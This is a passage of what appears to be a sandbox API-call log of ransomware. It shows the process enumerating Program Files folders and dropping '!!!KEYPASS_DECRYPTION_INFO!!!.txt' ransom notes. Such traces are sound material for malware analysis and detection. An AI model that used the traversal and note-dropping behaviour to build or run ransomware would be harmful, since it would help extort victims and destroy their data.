Files\\Windows Defender\\en-US\\ProtectionManagement_Uninstall.mfl") returned=".mfl" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\en-US\\shellext.dll.mui") returned=".mui" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\EppManifest.dll") returned=".dll" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\FepUnregister.mof") returned=".mof" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MpAsDesc.dll") returned=".dll" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MpClient.dll") returned=".dll" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MpCmdRun.exe") returned=".exe" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MpCommu.dll") returned=".dll" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MpEvMsg.dll") returned=".dll" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MpOAV.dll") returned=".dll" [0288.272] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MpProvider.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MpRtp.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MpSvc.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MpTpmAtt.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\mpuxhostproxy.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MpUXSrv.exe") returned=".exe" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MSASCui.exe") returned=".exe" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MsMpCom.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MsMpEng.exe") returned=".exe" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MsMpLics.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\MsMpRes.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\NisIpsPlugin.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\NisLog.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\NisSrv.exe") returned=".exe" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\NisWfp.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\ProtectionManagement.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\ProtectionManagement.mof") returned=".mof" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\ProtectionManagement_Uninstall.mof") returned=".mof" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\shellext.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\SymSrv.dll") returned=".dll" [0288.273] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Defender\\SymSrv.yes") returned=".yes" [0288.273] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0288.273] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.273] GetLastError () returned 0x3f0 [0288.273] PathAppendW (in: pszPath="C:\\Program Files\\Windows Journal\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Journal\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.273] PathFileExistsW (pszPath="C:\\Program Files\\Windows Journal\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.274] GetFileType (hFile=0x19c4) returned 0x1 [0288.275] CloseHandle (hObject=0x19c4) returned 1 [0288.275] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.275] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0288.275] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.275] GetLastError () returned 0x3f0 [0288.275] PathAppendW (in: pszPath="C:\\Program Files\\Windows Journal\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Journal\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.275] PathFileExistsW (pszPath="C:\\Program Files\\Windows Journal\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.275] GetFileType (hFile=0x19c8) returned 0x1 [0288.276] CloseHandle (hObject=0x19c8) returned 1 [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui") returned=".mui" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui") returned=".mui" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\en-US\\jnwmon.dll.mui") returned=".mui" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui") returned=".mui" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\en-US\\MSPVWCTL.DLL.mui") returned=".mui" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui") returned=".mui" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\en-US\\PDIALOG.exe.mui") returned=".mui" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\InkSeg.dll") returned=".dll" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\JNTFiltr.dll") returned=".dll" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\JNWDRV.dll") returned=".dll" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\jnwdui.dll") returned=".dll" [0288.276] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\jnwmon.dll") returned=".dll" [0288.277] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\jnwppr.dll") returned=".dll" [0288.277] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Journal.exe") returned=".exe" [0288.277] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\MSPVWCTL.DLL") returned=".DLL" [0288.277] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\NBDoc.DLL") returned=".DLL" [0288.277] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\NBMapTIP.dll") returned=".dll" [0288.277] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\PDIALOG.exe") returned=".exe" [0288.277] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0288.277] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.277] GetLastError () returned 0x3f0 [0288.277] PathAppendW (in: pszPath="C:\\Program Files\\Windows Journal\\Templates\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Journal\\Templates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.277] PathFileExistsW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.479] GetFileType (hFile=0x19d0) returned 0x1 [0288.480] CloseHandle (hObject=0x19d0) returned 1 [0288.480] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.481] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\blank.jtp") returned=".jtp" [0288.481] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp") returned=".jtp" [0288.481] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp") returned=".jtp" [0288.481] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp") returned=".jtp" [0288.481] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\Graph.jtp") returned=".jtp" [0288.481] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp") returned=".jtp" [0288.481] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\Month_Calendar.jtp") returned=".jtp" [0288.481] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\Music.jtp") returned=".jtp" [0288.481] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\Seyes.jtp") returned=".jtp" [0288.481] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\Shorthand.jtp") returned=".jtp" [0288.481] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp") returned=".jtp" [0288.481] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0288.481] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.481] GetLastError () returned 0x3f0 [0288.481] PathAppendW (in: pszPath="C:\\Program Files\\Windows Mail\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Mail\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.481] PathFileExistsW (pszPath="C:\\Program Files\\Windows Mail\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.587] GetFileType (hFile=0x19cc) returned 0x1 [0288.588] CloseHandle (hObject=0x19cc) returned 1 [0288.589] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Mail\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.589] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0288.589] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.589] GetLastError () returned 0x3f0 [0288.589] PathAppendW (in: pszPath="C:\\Program Files\\Windows Mail\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Mail\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.589] PathFileExistsW (pszPath="C:\\Program Files\\Windows Mail\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.590] GetFileType (hFile=0x19d4) returned 0x1 [0288.591] CloseHandle (hObject=0x19d4) returned 1 [0288.591] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Mail\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.591] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Mail\\en-US\\msoeres.dll.mui") returned=".mui" [0288.591] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Mail\\en-US\\WinMail.exe.mui") returned=".mui" [0288.591] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Mail\\msoe.dll") returned=".dll" [0288.591] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Mail\\MSOERES.dll") returned=".dll" [0288.591] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Mail\\oeimport.dll") returned=".dll" [0288.591] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Mail\\wab.exe") returned=".exe" [0288.591] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Mail\\wabimp.dll") returned=".dll" [0288.592] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Mail\\wabmig.exe") returned=".exe" [0288.592] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Mail\\WinMail.exe") returned=".exe" [0288.592] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0288.592] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.592] GetLastError () returned 0x3f0 [0288.592] PathAppendW (in: pszPath="C:\\Program Files\\Windows Media Player\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Media Player\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.592] PathFileExistsW (pszPath="C:\\Program Files\\Windows Media Player\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.592] GetFileType (hFile=0x19d8) returned 0x1 [0288.593] CloseHandle (hObject=0x19d8) returned 1 [0288.593] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.593] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0288.594] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.594] GetLastError () returned 0x3f0 [0288.594] PathAppendW (in: pszPath="C:\\Program Files\\Windows Media Player\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Media Player\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.594] PathFileExistsW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.594] GetFileType (hFile=0x19dc) returned 0x1 [0288.595] CloseHandle (hObject=0x19dc) returned 1 [0288.595] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.595] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\mpvis.dll.mui") returned=".mui" [0288.595] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned=".mui" [0288.595] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\wmlaunch.exe.mui") returned=".mui" [0288.595] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\wmplayer.exe.mui") returned=".mui" [0288.595] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\WMPMediaSharing.dll.mui") returned=".mui" [0288.595] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\wmpnetwk.exe.mui") returned=".mui" [0288.595] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\wmpnscfg.exe.mui") returned=".mui" [0288.596] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssci.dll.mui") returned=".mui" [0288.596] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssui.dll.mui") returned=".mui" [0288.596] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\en-US\\WMPSideShowGadget.exe.mui") returned=".mui" [0288.596] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0288.596] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.596] GetLastError () returned 0x3f0 [0288.596] PathAppendW (in: pszPath="C:\\Program Files\\Windows Media Player\\Icons\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Media Player\\Icons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.596] PathFileExistsW (pszPath="C:\\Program Files\\Windows Media Player\\Icons\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.596] GetLastError () returned 0x5 [0288.596] GetLastError () returned 0x5 [0288.596] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0288.596] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.596] GetLastError () returned 0x3f0 [0288.597] PathAppendW (in: pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.597] PathFileExistsW (pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.636] GetFileType (hFile=0x19e8) returned 0x1 [0288.637] CloseHandle (hObject=0x19e8) returned 1 [0288.637] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.637] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\avtransport.xml") returned=".xml" [0288.637] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml") returned=".xml" [0288.637] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.jpg") returned=".jpg" [0288.637] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_120.png") returned=".png" [0288.637] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.jpg") returned=".jpg" [0288.637] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\DMR_48.png") returned=".png" [0288.637] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl.xml") returned=".xml" [0288.637] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Media Renderer\\RenderingControl_DMP.xml") returned=".xml" [0288.637] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\mpvis.DLL") returned=".DLL" [0288.637] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0288.638] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.638] GetLastError () returned 0x3f0 [0288.638] PathAppendW (in: pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.638] PathFileExistsW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.688] GetFileType (hFile=0x19ec) returned 0x1 [0288.689] CloseHandle (hObject=0x19ec) returned 1 [0288.689] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.689] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\ConnectionManager.xml") returned=".xml" [0288.689] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\ContentDirectory.xml") returned=".xml" [0288.689] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\MediaReceiverRegistrar.xml") returned=".xml" [0288.689] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.jpg") returned=".jpg" [0288.689] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color120.png") returned=".png" [0288.690] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.bmp") returned=".bmp" [0288.690] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color32.jpg") returned=".jpg" [0288.690] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.bmp") returned=".bmp" [0288.690] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.jpg") returned=".jpg" [0288.690] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png") returned=".png" [0288.690] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\requesting.exe") returned=".exe" [0288.690] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\setup_wm.exe") returned=".exe" [0288.690] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0288.690] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.690] GetLastError () returned 0x3f0 [0288.690] PathAppendW (in: pszPath="C:\\Program Files\\Windows Media Player\\Skins\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Media Player\\Skins\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.690] PathFileExistsW (pszPath="C:\\Program Files\\Windows Media Player\\Skins\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.691] GetFileType (hFile=0x19f0) returned 0x1 [0288.691] CloseHandle (hObject=0x19f0) returned 1 [0288.692] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Skins\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.692] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Skins\\Revert.wmz") returned=".wmz" [0288.692] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0288.692] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.692] GetLastError () returned 0x3f0 [0288.692] PathAppendW (in: pszPath="C:\\Program Files\\Windows Media Player\\Visualizations\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Media Player\\Visualizations\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.692] PathFileExistsW (pszPath="C:\\Program Files\\Windows Media Player\\Visualizations\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0288.692] GetFileType (hFile=0x19f4) returned 0x1 [0288.693] CloseHandle (hObject=0x19f4) returned 1 [0288.693] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\Visualizations\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0288.693] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\wmlaunch.exe") returned=".exe" [0288.693] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\wmpconfig.exe") returned=".exe" [0288.693] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\wmplayer.exe") returned=".exe" [0288.693] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\WMPMediaSharing.dll") returned=".dll" [0288.693] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe") returned=".exe" [0288.693] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\wmpnscfg.exe") returned=".exe" [0288.693] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\wmpnssci.dll") returned=".dll" [0288.693] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\WMPNSSUI.dll") returned=".dll" [0288.693] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\wmprph.exe") returned=".exe" [0288.693] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\wmpshare.exe") returned=".exe" [0288.694] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Media Player\\WMPSideShowGadget.exe") returned=".exe" [0288.694] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0288.694] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0288.694] GetLastError () returned 0x3f0 [0288.694] PathAppendW (in: pszPath="C:\\Program Files\\Windows Multimedia Platform\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows Multimedia Platform\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0288.694] PathFileExistsW (pszPath="C:\\Program Files\\Windows Multimedia Platform\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.052] GetFileType (hFile=0x19f8) returned 0x1 [0289.053] CloseHandle (hObject=0x19f8) returned 1 [0289.053] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Multimedia Platform\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.053] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Multimedia Platform\\homes.exe") returned=".exe" [0289.053] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Multimedia Platform\\jones weekend fundamental.exe") returned=".exe" [0289.053] PathFindExtensionW (pszPath="C:\\Program Files\\Windows Multimedia Platform\\sqmapi.dll") returned=".dll" [0289.053] PeekMessageW (in: lpMsg=0x2e4f3c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f3c8) returned 0 [0289.054] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.054] GetLastError () returned 0x3f0 [0289.054] PathAppendW (in: pszPath="C:\\Program Files\\Windows NT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Windows NT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.054] PathFileExistsW (pszPath="C:\\Program Files\\Windows NT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.205] GetFileType (hFile=0x19fc) returned 0x1 [0289.206] CloseHandle (hObject=0x19fc) returned 1 [0289.206] PathFindExtensionW (pszPath="C:\\Program Files\\Windows NT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0289.206] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.206] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | 